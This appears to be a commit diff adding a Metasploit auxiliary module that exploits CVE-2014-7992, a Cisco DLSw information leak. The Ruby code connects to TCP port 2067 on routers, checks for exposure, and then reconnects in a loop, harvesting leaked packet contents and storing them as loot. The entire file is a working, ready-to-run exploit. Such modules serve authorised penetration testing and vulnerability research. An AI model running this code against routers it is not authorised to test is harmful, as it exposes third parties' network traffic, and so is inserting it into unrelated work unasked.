|
| 1 | +## |
| 2 | +# This module requires Metasploit: http//metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'socket' |
| 8 | + |
| 9 | +class Metasploit3 < Msf::Auxiliary |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::Tcp |
| 12 | + include Msf::Auxiliary::Scanner |
| 13 | + include Msf::Auxiliary::Report |
| 14 | + |
| 15 | + def initialize |
| 16 | + super( |
| 17 | + 'Name' => 'Cisco DLSw information leak', |
| 18 | + 'Description' => %q{ |
| 19 | + This module implements the DLSw information leak retrieval. There is |
| 20 | + a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains |
| 21 | + that allows an unuthenticated remote attacker to retrieve the partial |
| 22 | + contents of packets traversing a Cisco router with DLSw configured |
| 23 | + and active. |
| 24 | + }, |
| 25 | + 'Author' => [ |
| 26 | + 'Tate Hansen', # Vulnerability discovery |
| 27 | + 'John McLeod', # Vulnerability discovery |
| 28 | + 'Kyle Rainey', # Built lab to recreate vulnerability and help test |
| 29 | + ], |
| 30 | + 'References' => |
| 31 | + [ |
| 32 | + ['CVE', '2014-7992'], |
| 33 | + ['URL', 'https://github.com/tatehansen/dlsw_exploit'], |
| 34 | + ], |
| 35 | + 'DisclosureDate' => 'Nov 17 2014', |
| 36 | + 'License' => MSF_LICENSE, |
| 37 | + ) |
| 38 | + |
| 39 | + register_options( |
| 40 | + [ |
| 41 | + Opt::RPORT(2067), |
| 42 | + OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024]), |
| 43 | + ], self.class) |
| 44 | + end |
| 45 | + |
| 46 | + # Called when using check |
| 47 | + def check_host(ip) |
| 48 | + print_status "Checking for DLSw exposure" |
| 49 | + connect |
| 50 | + response = sock.recv(72) |
| 51 | + disconnect |
| 52 | + |
| 53 | + if response.length > 0 |
| 54 | + print_status("Cisco router appears vulnerable - DLSw data is returned when establishing a connection to #{rport}") |
| 55 | + report_vuln({ |
| 56 | + :host => rhost, |
| 57 | + :port => rport, |
| 58 | + :name => self.name, |
| 59 | + :refs => self.references, |
| 60 | + :info => "Module #{self.fullname} successfully leaked info" |
| 61 | + }) |
| 62 | + Exploit::CheckCode::Vulnerable |
| 63 | + else |
| 64 | + Exploit::CheckCode::Safe |
| 65 | + end |
| 66 | + end |
| 67 | + |
| 68 | + # Main method |
| 69 | + def run_host(ip) |
| 70 | + return unless check_host(ip) == Exploit::CheckCode::Vulnerable |
| 71 | + |
| 72 | + print_status("Going to run until we retrieve #{datastore['LEAK_AMOUNT']} bytes from #{ip}") |
| 73 | + |
| 74 | + dlsw_data = "" |
| 75 | + until dlsw_data.length > datastore['LEAK_AMOUNT'] |
| 76 | + connect |
| 77 | + response = sock.recv(72) |
| 78 | + if response |
| 79 | + dlsw_data << response[18..72] # range of the leaked packet contents |
| 80 | + end |
| 81 | + disconnect |
| 82 | + end |
| 83 | + loot_and_report(dlsw_data) |
| 84 | + end |
| 85 | + |
| 86 | + def loot_and_report(dlsw_data) |
| 87 | + path = store_loot( |
| 88 | + 'dlsw.packet.contents', |
| 89 | + 'application/octet-stream', |
| 90 | + rhost, |
| 91 | + dlsw_data, |
| 92 | + 'DLSw_leaked_data', |
| 93 | + 'DLSw packet memory leak' |
| 94 | + ) |
| 95 | + print_status("DLSw data stored in #{path}") |
| 96 | + end |
| 97 | +end |
0 commit comments